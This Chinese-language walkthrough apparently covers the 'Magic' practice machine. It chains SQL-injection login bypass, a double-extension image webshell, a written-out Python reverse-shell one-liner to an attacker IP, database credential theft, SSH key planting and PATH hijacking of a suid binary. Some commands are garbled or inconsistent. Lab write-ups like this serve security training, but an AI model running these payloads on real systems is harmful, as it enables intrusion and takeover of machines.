靶机介绍:
Magic有两个常见步骤,一个SQLI来绕过登录,一个webshell上传,带有双扩展名来绕过过滤。从那里,我可以获得一个shell,并在数据库中查找凭证,然后切换到user。为了获得根目录,有一个二进制文件在没有完整路径的情况下调用popen,这使它容易受到路径劫持攻击。在Beyond Root中,我将查看导致执行. PHP .png文件的Apache配置、过滤上传的PHP代码以及suid二进制文件的源代码。
信息收集
1.端口扫描
发现存在22和80端口。
2.SQL注入
发现存在SQL注入万能密码进行登录。
存在文件上传
3生成图片马进行文件上传
使用exiftool -Comment='' 1.png 生成一个图片马,图片在网上下一个.png格式的。
发现直接上传.png格式是无法上传成功的,将其改成1.php.png格式。再次进行上传。
成功进行上传
漏洞利用:
1.命令执行
上传之后,发现可以执行命令。
2.反弹低权限shell
利用python3:ython3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'进行反弹shell,然后在浏览器进行访问 http://10.10.10.185/images/uploads/1.php.jpg?0=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用nc监听8833端口。然后在浏览器访问url地址,成功获得低权限shell。
权限提升:
1.获取数据库用户账号密码
在查看文件的过程中,发现存在db数据库文件。成功找到了数据库和密码。
然后使用mysql进行登录。
登录之后,直接获得了admin用户密码。
2.ssh登录
使用su切换用户。成功找到第一个user.txt文件。
3.生成ssh公钥,写入公钥。
将公钥写入到远程服务器的authorized_keys文件。
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3EQYtrsL4KEhFMWW1GH2RBKBfYWAxmAXdT/yF2/g3h/dvTjQfKx3HfKkhlBcQQBSp/6ZbeVXZW6bqGhQq+aKvjVOMoHA8/zKZ2SvB3Zt6ehAyiQeCnFeSB1Jou5bDdRsimz6J3XYniOpnGOqk2Ytv35HI5J4900T5GSAXr2InQgPt+94yn60uHBMB5ani5du+1pAxUJOQ+7i6/BdjGvCGwMh+rqyboEM9qRZJiO/hTcMxeMmQTP+iHS3sGuzQaj7KseJV8vjmdC76SLRLOJsMWob/CSytsh/PZhxpNUUmXZAD1eHhOGuos811PpZ3N3RoP7tDHWjr2Ee9evNp8vhMWgUU0HkWr++mpS8/a5cqi0DETPmmnU97EYpOQtDPXMHDyzihYc0OGYgNn4M4OCKcebid1vyhRRlib1UYQx6JKDxIBDeQM0LSbUx0T/qmsOYKOX1vwiTzCaZahRp+gJaiN5pTXMU4hcKOLalnk4urv4u1LOs5QpAWydIQluwCvZM= root@kalii>authorized_keys
4.ssh远程连接
使用本地ssh进行连接。
5.远程文件传输
在github下载LinEnum.sh,然后本地开启80端口。
6.使用LinEnum.sh脚本检测薄弱点
远程服务器成功下载到,然后使用脚本进行检测。
发现/bin/sysinfo -x权限很可疑,进行查看。
使用file进行查看,发现是64位的ELF。
7.提权
在本地的free文件写入提权脚本。
开启远程下载。
成功下载到free文件
增加其执行权限,然后添加到环境变量当中。
export PATH="/dev/shm:$PATH"
执行/bin/sysinfo进行查询。
nc再次开启监听,然后成功获取到root权限。接着进入root目录,成功获取到root.txt文件。
总结:
这个靶机从信息收集-漏洞利用-文件上传。用到了sql注入万能密码漏洞获取登录权限,然后生成图片马,进行命令执行,在使用python3进行反弹shell,获取低权限shell之后,存在db数据库文件泄露,然后写入本地ssh公钥,利用本地ssh进行登录,开启远程文件传输,上传LinEnm.sh文件进行枚举权限的缺陷,发现可以利用lshw,fdisk,cat和free等进行权限提升。